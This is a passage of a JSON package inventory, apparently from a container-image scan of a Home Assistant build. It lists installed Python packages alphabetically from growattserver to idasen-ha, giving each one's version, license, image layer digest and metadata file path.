"pkg:pypi/growattserver@2.1.0", "UID": "8d19c299bff6241d" }, "Version": "2.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/growattserver-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpc-google-iam-v1", "Identifier": { "PURL": "pkg:pypi/grpc-google-iam-v1@0.14.4", "UID": "8eaebb17ccb2d35b" }, "Version": "0.14.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/grpc_google_iam_v1-0.14.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpcio", "Identifier": { "PURL": "pkg:pypi/grpcio@1.78.0", "UID": "d8d1f8ec7db59137" }, "Version": "1.78.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/grpcio-1.78.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpcio-reflection", "Identifier": { "PURL": "pkg:pypi/grpcio-reflection@1.78.0", "UID": "b8dee583933718e3" }, "Version": "1.78.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/grpcio_reflection-1.78.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpcio-status", "Identifier": { "PURL": "pkg:pypi/grpcio-status@1.78.0", "UID": "c4092202b0d40287" }, "Version": "1.78.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/grpcio_status-1.78.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gspread", "Identifier": { "PURL": "pkg:pypi/gspread@5.5.0", "UID": "d9b8fa5e6fbb8a52" }, "Version": "5.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gspread-5.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gtfs-realtime-bindings", "Identifier": { "PURL": "pkg:pypi/gtfs-realtime-bindings@2.0.0", "UID": "33c2301944c847a8" }, "Version": "2.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/gtfs_realtime_bindings-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "guntamatic", "Identifier": { "PURL": "pkg:pypi/guntamatic@1.9.0", "UID": "aba323813f1ff309" }, "Version": "1.9.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/guntamatic-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "guppy3", "Identifier": { "PURL": "pkg:pypi/guppy3@3.1.7", "UID": "7e22bdc3a4b6bcf5" }, "Version": "3.1.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/guppy3-3.1.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "h11", "Identifier": { "PURL": "pkg:pypi/h11@0.16.0", "UID": "b30fd77c8cfed088" }, "Version": "0.16.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/h11-0.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "h2", "Identifier": { "PURL": "pkg:pypi/h2@4.3.0", "UID": "dfdca213336de757" }, "Version": "4.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/h2-4.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ha-ffmpeg", "Identifier": { "PURL": "pkg:pypi/ha-ffmpeg@3.2.2", "UID": "d4d57c5294f7cbd0" }, "Version": "3.2.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/ha_ffmpeg-3.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ha-iotawattpy", "Identifier": { "PURL": "pkg:pypi/ha-iotawattpy@0.1.2", "UID": "c118d5f0ff6bfecf" }, "Version": "0.1.2", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ha_iotawattpy-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ha-philipsjs", "Identifier": { "PURL": "pkg:pypi/ha-philipsjs@3.2.4", "UID": "3f13748fac1f07aa" }, "Version": "3.2.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ha_philipsjs-3.2.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ha-silabs-firmware-client", "Identifier": { "PURL": "pkg:pypi/ha-silabs-firmware-client@0.3.0", "UID": "c74197d9d18d3059" }, "Version": "0.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ha_silabs_firmware_client-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ha-xthings-cloud", "Identifier": { "PURL": "pkg:pypi/ha-xthings-cloud@1.0.5", "UID": "70ea82a821809ccf" }, "Version": "1.0.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ha_xthings_cloud-1.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "habluetooth", "Identifier": { "PURL": "pkg:pypi/habluetooth@6.26.5", "UID": "cb6016588f30eba7" }, "Version": "6.26.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/habluetooth-6.26.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hanna-cloud", "Identifier": { "PURL": "pkg:pypi/hanna-cloud@0.0.7", "UID": "ba30708c1a292b2c" }, "Version": "0.0.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hanna_cloud-0.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hass-nabucasa", "Identifier": { "PURL": "pkg:pypi/hass-nabucasa@2.2.0", "UID": "b68f0462bcb7051d" }, "Version": "2.2.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/hass_nabucasa-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hass_splunk", "Identifier": { "PURL": "pkg:pypi/hass-splunk@0.1.4", "UID": "e680e0e04e5ef750" }, "Version": "0.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hass_splunk-0.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hassil", "Identifier": { "PURL": "pkg:pypi/hassil@3.8.0", "UID": "3404f059791aa1ae" }, "Version": "3.8.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/hassil-3.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "haversine", "Identifier": { "PURL": "pkg:pypi/haversine@2.9.0", "UID": "54661d9bf7f6a2dc" }, "Version": "2.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/haversine-2.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hdate", "Identifier": { "PURL": "pkg:pypi/hdate@1.2.1", "UID": "ccc9cc26d5a23269" }, "Version": "1.2.1", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hdate-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hdfury", "Identifier": { "PURL": "pkg:pypi/hdfury@1.6.0", "UID": "bf9bb6937c830496" }, "Version": "1.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hdfury-1.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "heatmiserv3", "Identifier": { "PURL": "pkg:pypi/heatmiserv3@2.0.6", "UID": "d3f5917c93050167" }, "Version": "2.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/heatmiserv3-2.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hegel-ip-client", "Identifier": { "PURL": "pkg:pypi/hegel-ip-client@0.1.4", "UID": "63b483cb67d91361" }, "Version": "0.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hegel_ip_client-0.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "here_routing", "Identifier": { "PURL": "pkg:pypi/here-routing@1.2.0", "UID": "1ff14b5e87456e24" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/here_routing-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "here_transit", "Identifier": { "PURL": "pkg:pypi/here-transit@1.2.1", "UID": "aedc5a96ff33e6f0" }, "Version": "1.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/here_transit-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hikvision", "Identifier": { "PURL": "pkg:pypi/hikvision@0.4", "UID": "76d2df9ad9d2c980" }, "Version": "0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hikvision-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hkavr", "Identifier": { "PURL": "pkg:pypi/hkavr@0.0.5", "UID": "8ef60d604684027d" }, "Version": "0.0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hkavr-0.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hko", "Identifier": { "PURL": "pkg:pypi/hko@0.3.2", "UID": "ac1e623f2302e19b" }, "Version": "0.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hko-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hlk-sw16", "Identifier": { "PURL": "pkg:pypi/hlk-sw16@0.0.9", "UID": "ecde507fc6aaa3a6" }, "Version": "0.0.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hlk_sw16-0.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hole", "Identifier": { "PURL": "pkg:pypi/hole@0.9.2", "UID": "d4064b692d2af2e9" }, "Version": "0.9.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hole-0.9.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "holidays", "Identifier": { "PURL": "pkg:pypi/holidays@0.100", "UID": "309cbc115cecaa22" }, "Version": "0.100", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/holidays-0.100.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "home-assistant-bluetooth", "Identifier": { "PURL": "pkg:pypi/home-assistant-bluetooth@2.0.0", "UID": "b56b423832e91bc4" }, "Version": "2.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/home_assistant_bluetooth-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "home-assistant-frontend", "Identifier": { "PURL": "pkg:pypi/home-assistant-frontend@20260624.5", "UID": "cb02ca4e5bb679bb" }, "Version": "20260624.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/home_assistant_frontend-20260624.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "home-assistant-intents", "Identifier": { "PURL": "pkg:pypi/home-assistant-intents@2026.6.24", "UID": "8795f4dc117407a2" }, "Version": "2026.6.24", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/home_assistant_intents-2026.6.24.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "homeassistant", "Identifier": { "PURL": "pkg:pypi/homeassistant@2026.7.2", "UID": "e523af90bda90012" }, "Version": "2026.7.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:fe6229a4a6922f42eef738c35b874598683da07f65a469dfe5e74d17b1e6d783" }, "FilePath": "usr/local/lib/python3.14/site-packages/homeassistant-2026.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "homeassistant", "Identifier": { "PURL": "pkg:pypi/homeassistant@2026.7.2", "UID": "cad608bf09b45138" }, "Version": "2026.7.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:fe6229a4a6922f42eef738c35b874598683da07f65a469dfe5e74d17b1e6d783" }, "FilePath": "usr/src/homeassistant/homeassistant.egg-info/PKG-INFO", "AnalyzedBy": "python-pkg" }, { "Name": "homekit-audio-proxy", "Identifier": { "PURL": "pkg:pypi/homekit-audio-proxy@1.2.1", "UID": "9efd02e1201897f1" }, "Version": "1.2.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/homekit_audio_proxy-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "homelink-integration-api", "Identifier": { "PURL": "pkg:pypi/homelink-integration-api@0.0.5", "UID": "8fcf3557c04d00a2" }, "Version": "0.0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/homelink_integration_api-0.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "homematicip", "Identifier": { "PURL": "pkg:pypi/homematicip@2.13.2", "UID": "a1b04655a02037ba" }, "Version": "2.13.2", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/homematicip-2.13.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "horimote", "Identifier": { "PURL": "pkg:pypi/horimote@0.4.1", "UID": "5d033e1c68b3e4c1" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/horimote-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hpack", "Identifier": { "PURL": "pkg:pypi/hpack@4.2.0", "UID": "3cfdee6071a35ec6" }, "Version": "4.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hpack-4.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "html-table-parser-python3", "Identifier": { "PURL": "pkg:pypi/html-table-parser-python3@0.1.5", "UID": "52e4634679e16ba8" }, "Version": "0.1.5", "Licenses": [ "AGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/html_table_parser_python3-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "html5lib", "Identifier": { "PURL": "pkg:pypi/html5lib@1.1", "UID": "a6ad28d70d1674b4" }, "Version": "1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/bleach/_vendor/html5lib-1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "html5lib", "Identifier": { "PURL": "pkg:pypi/html5lib@1.1", "UID": "aa8ff069dc9ad817" }, "Version": "1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/html5lib-1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httmock", "Identifier": { "PURL": "pkg:pypi/httmock@1.4.0", "UID": "594c2059b4035064" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/httmock-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "http-ece", "Identifier": { "PURL": "pkg:pypi/http-ece@1.1.0", "UID": "bcda4aca8954d3a5" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/http_ece-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpcore", "Identifier": { "PURL": "pkg:pypi/httpcore@1.0.9", "UID": "16b9c1dccf546fd7" }, "Version": "1.0.9", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/httpcore-1.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httplib2", "Identifier": { "PURL": "pkg:pypi/httplib2@0.20.4", "UID": "f4d4bc90a2aafd28" }, "Version": "0.20.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/httplib2-0.20.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx", "Identifier": { "PURL": "pkg:pypi/httpx@0.28.1", "UID": "728647ac5c92d4f7" }, "Version": "0.28.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/httpx-0.28.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx-retries", "Identifier": { "PURL": "pkg:pypi/httpx-retries@0.6.0", "UID": "df929dc921c1eed1" }, "Version": "0.6.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/httpx_retries-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx-sse", "Identifier": { "PURL": "pkg:pypi/httpx-sse@0.4.3", "UID": "fccff7337b5b07ad" }, "Version": "0.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/httpx_sse-0.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx-ws", "Identifier": { "PURL": "pkg:pypi/httpx-ws@0.9.0", "UID": "b49ffd89af59bb76" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/httpx_ws-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "huawei-lte-api", "Identifier": { "PURL": "pkg:pypi/huawei-lte-api@1.11.0", "UID": "4e8bb69fe08f3d8" }, "Version": "1.11.0", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/huawei_lte_api-1.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "humanfriendly", "Identifier": { "PURL": "pkg:pypi/humanfriendly@10.0", "UID": "e2f4cf834249468c" }, "Version": "10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/humanfriendly-10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "huum", "Identifier": { "PURL": "pkg:pypi/huum@0.8.2", "UID": "78a34b850edef596" }, "Version": "0.8.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/huum-0.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hyperframe", "Identifier": { "PURL": "pkg:pypi/hyperframe@6.1.0", "UID": "6ac00c5e88d35ded" }, "Version": "6.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hyperframe-6.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hyperion-py", "Identifier": { "PURL": "pkg:pypi/hyperion-py@0.7.6", "UID": "98c1651c7581ced4" }, "Version": "0.7.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hyperion_py-0.7.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hyponcloud", "Identifier": { "PURL": "pkg:pypi/hyponcloud@1.0.1", "UID": "5b56f400ada283e7" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/hyponcloud-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iammeter", "Identifier": { "PURL": "pkg:pypi/iammeter@0.2.1", "UID": "b90ba396c6e574db" }, "Version": "0.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iammeter-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "iaqualink", "Identifier": { "PURL": "pkg:pypi/iaqualink@0.7.0", "UID": "9da423d2bbbd526a" }, "Version": "0.7.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/iaqualink-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ibeacon-ble", "Identifier": { "PURL": "pkg:pypi/ibeacon-ble@1.2.0", "UID": "528f80ea0428ddb6" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ibeacon_ble-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ical", "Identifier": { "PURL": "pkg:pypi/ical@13.3.0", "UID": "78c2bd753316df9f" }, "Version": "13.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ical-13.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "icalendar", "Identifier": { "PURL": "pkg:pypi/icalendar@6.3.1", "UID": "9eb22318ee1bd29" }, "Version": "6.3.1", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/icalendar-6.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "icmplib", "Identifier": { "PURL": "pkg:pypi/icmplib@3.0.4", "UID": "7c26cecc322dd6f" }, "Version": "3.0.4", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/icmplib-3.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idasen", "Identifier": { "PURL": "pkg:pypi/idasen@0.13.1", "UID": "91bee7c14d780c6f" }, "Version": "0.13.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/idasen-0.13.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idasen-ha", "Identifier": { "PURL": "pkg:pypi/idasen-ha@2.7.0", "UID": "d9dfbea55182654d" }, "Version": "2.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": 